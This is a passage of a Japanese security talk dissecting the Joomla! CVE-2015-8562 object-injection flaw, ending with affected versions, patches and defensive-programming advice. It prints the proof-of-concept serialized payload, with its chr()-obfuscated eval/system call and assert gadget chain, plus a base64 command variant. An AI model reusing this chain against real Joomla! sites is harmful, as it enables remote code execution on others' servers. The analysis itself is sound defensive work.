PoCを見ると… 38 O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed _url";s:239:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr (40).chr(39).chr(116).chr(111).chr(117).chr(99).chr(104).chr(32).chr(47).chr (116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(39).chr(41).chr(59));JF actory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cach e";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}} object(SimplePie) { 'feed_url' =>
'eval(chr(115).chr(121). 略 .chr(59));JFactory::getConfig();exit ‘, 'cache_name_function' => 'assert‘ } assert を使って、evalを実行している ※evalは関数ではないので、call_user_funcでは直接呼び出せない
39.
だがどうやって SimplePie::init()を呼び出す か? 39
40.
JDatabaseDriverMysqli のデストラクタを使う class JDatabaseDriverMysqli
extends JDatabaseDriver { public function __destruct() // デストラクタ { $this->disconnect(); } public function disconnect() { // Close the connection. if ($this->connection) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } mysqli_close($this->connection); } $this->connection = null; } 40 $h が 0 => SimplePieオブジェクト 1 => ‘init’ となるように設定する
41.
PoCを確認…確かにそうなっている object(JDatabaseDriverMysqli) { 'disconnectHandlers' => array
( array ( 0 => object(SimplePie) { 'sanitize' => JDatabaseDriverMysql::__set_state(array( )), 'feed_url' => 'eval(chr(115). 略 .chr(59));JFactory::getConfig();exit', 'cache_name_function' => 'assert', 'cache' => true, 'cache_class' => JDatabaseDriverMysql(), }, 1 => 'init', ), ), // 以下略 41
42.
PoCに出てくる 000 は何? 42
43.
000 の謎 class JSessionStorageDatabase
extends JSessionStorage { public function write($id, $data) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = str_replace(chr(0) . '*' . chr(0), '000', $data); // シリアライズされたデータ中に [nul]*[nul] が含まれる // (protectedなメンバ)ので、それを 000 に変換している // 文字列中に 000 が含まれると、それも [nul]*[nul]に変換されそう… 43
44.
PoCのココは何をしている? ;JFactory::getConfig(); 44
45.
JFactory::getConfig(); の秘密 $parsed_feed_url =
SimplePie_Misc::parse_url($this->feed_url); if ($this->cache && $parsed_feed_url[‘scheme’] !== ‘’) // この if文を通過する工夫 // scheme は以下の関数で取得 function parse_iri($iri) { preg_match('/^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(?([^#]*))?(#(.*))?$/', $iri, $match); for ($i = count($match); $i <= 9; $i++) { $match[$i] = ''; } return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' => $match[9]); } ‘/^(([^:/?#]+):)? ← : / ? # 以外の文字 feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 : が続く必要 がある 45
46.
JFactory::getConfig(); の秘密(続き) ‘/^(([^:/?#]+):)? ←
: / ? # 以外の文字 feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 : が続く必要がある JFactory::getConfig(); は何もしていないが、コロン「:」を入れる必要が あった 以下のような攻撃文字列でも、おk touch `echo dG91Y2ggL3RtcC9vY2tlZ2hlbQ== | base64 -d`;: / が使えないので、パスをbase64エンコードして指定している 46
47.
脆弱性は誰のせい? 47
48.
Joomla! • 色々イケテナイ • Joomla!以外のソフトウェアをいくつか調べたが、テキスト型 の列にセッションデータを格納しているのはJoomla!だけだっ た •
デストラクタが複雑だし、call_user_func等を呼びまくってい るのもイケテナイ… 48
49.
MySQL • UTF-8の4バイト文字があると、エラーにしないで、そこから 先を切り詰める仕様はイケテナイ… • だが、「仕様」だし、MySQLの脆弱性とまでは言えない •
MySQLの設定を「厳しく」することで、この種の問題を受け にくくすることが望ましい 49
50.
PHP • 直接の原因を作っているのはPHP • 主要ディストリビューションの中で、RHEL/CentOSだけが パッチを提供していないのはイケテナイ tokuhirom2015年12月21日
11:07 Twitter などでも指摘されておりますが、文字列型のカラムにバイナリを入れるとい う joolma! 側の設計にそもそもの問題があり、LONGBLOB などにデータを格納すべ きだったと思います。 文字列型のカラムにバイナリを入れるという設計に問題があるのでこの脆弱性は、 やはり joolma! の側の脆弱性といって差し支えないように思います。 50
51.
結論 • この脆弱性(CVE-2015-8562)はJoomla! とPHPの共犯 •
MySQLは幇助 • Joomla! / PHP / MySQLのいずれかがしっかりしていれば、こ の問題は顕在化しなかった • 「防御的プログラミング」により、不慮の問題を避けましょ う 51
52.
防御的プログラミング 「防御的プログラミング」とはプログラミングに対して防御的になるこ と、つまり「そうなるはずだ」と決め付けないことである。この発想は 「防御運転」にヒントを得たものだ。防御運転では、他のドライバーが 何をしようとするかまったくわからないと考える。そうすることで、他 のドライバーが危険な行動に出たときに、自分に被害が及ばないように する。たとえ他のドライバーの過失であっても、自分の身は自分で守る ことに責任を持つ。同様に、防御的プログラミングの根底にあるのは、 ルーチンに不正なデータが渡されたときに、それが他のルーチンのせい であったとしても、被害を受けないようにすることだ。もう少し一般的 に言うと、プログラムには必ず問題があり、プログラムは変更されるも のであり、賢いプログラマはそれを踏まえてコードを開発する、という 認識を持つことである。 CODE COMPLETE 第2版
第8章 から引用 52
53.
対策 53
54.
攻撃の前提条件 • PHPバージョン: – 5.4.44
以前の 5.4.x – 5.5.28 以前の 5.5.x – 5.6.12 以前の 5.6.x • Joomla! バージョン : 1.5.0 から 3.4.5 • その他: MySQLの設定にも依存 54
55.
対策 • PHPバージョンを上げる(サポート中の最新に) – 5.4.45
以降の 5.4.x (サポート終了) – 5.5.29 以降の 5.5.x (サポート終了) – 5.6.13 以降の 5.6.x ○ – 7.0.0 以降の 7.0.x ○ – その他、Debian、Ubuntu、Fedoraなら最新のパッチで対応可 • Joomla! バージョン : 3.4.6以降(最新にすること) • その他(保険的対策): MySQLの設定: sql_modeにSTRICT_TRANS_TABLESまたは STRICT_ALL_TABLESを指定(エラーになる) 55
56.
オブジェクトインジェクションの一般的対策 • 根本対策 – 任意オブジェクトが生成できるコードを書かない –
典型的には、外部からコントロールできる値をunserialize関数に処 理させない – 文字列がオブジェクトに化けるような脆弱性(!)にパッチを適用する • 保険的対策 – デストラクタでは複雑な処理を極力避け、後始末等もできれば明示 的に呼び出すようにする – eval、system、call_user_func等を極力使わない – 脆弱性対策は局所的な単位で行うようにする Copyright © 2016 HASH Consulting Corp. 56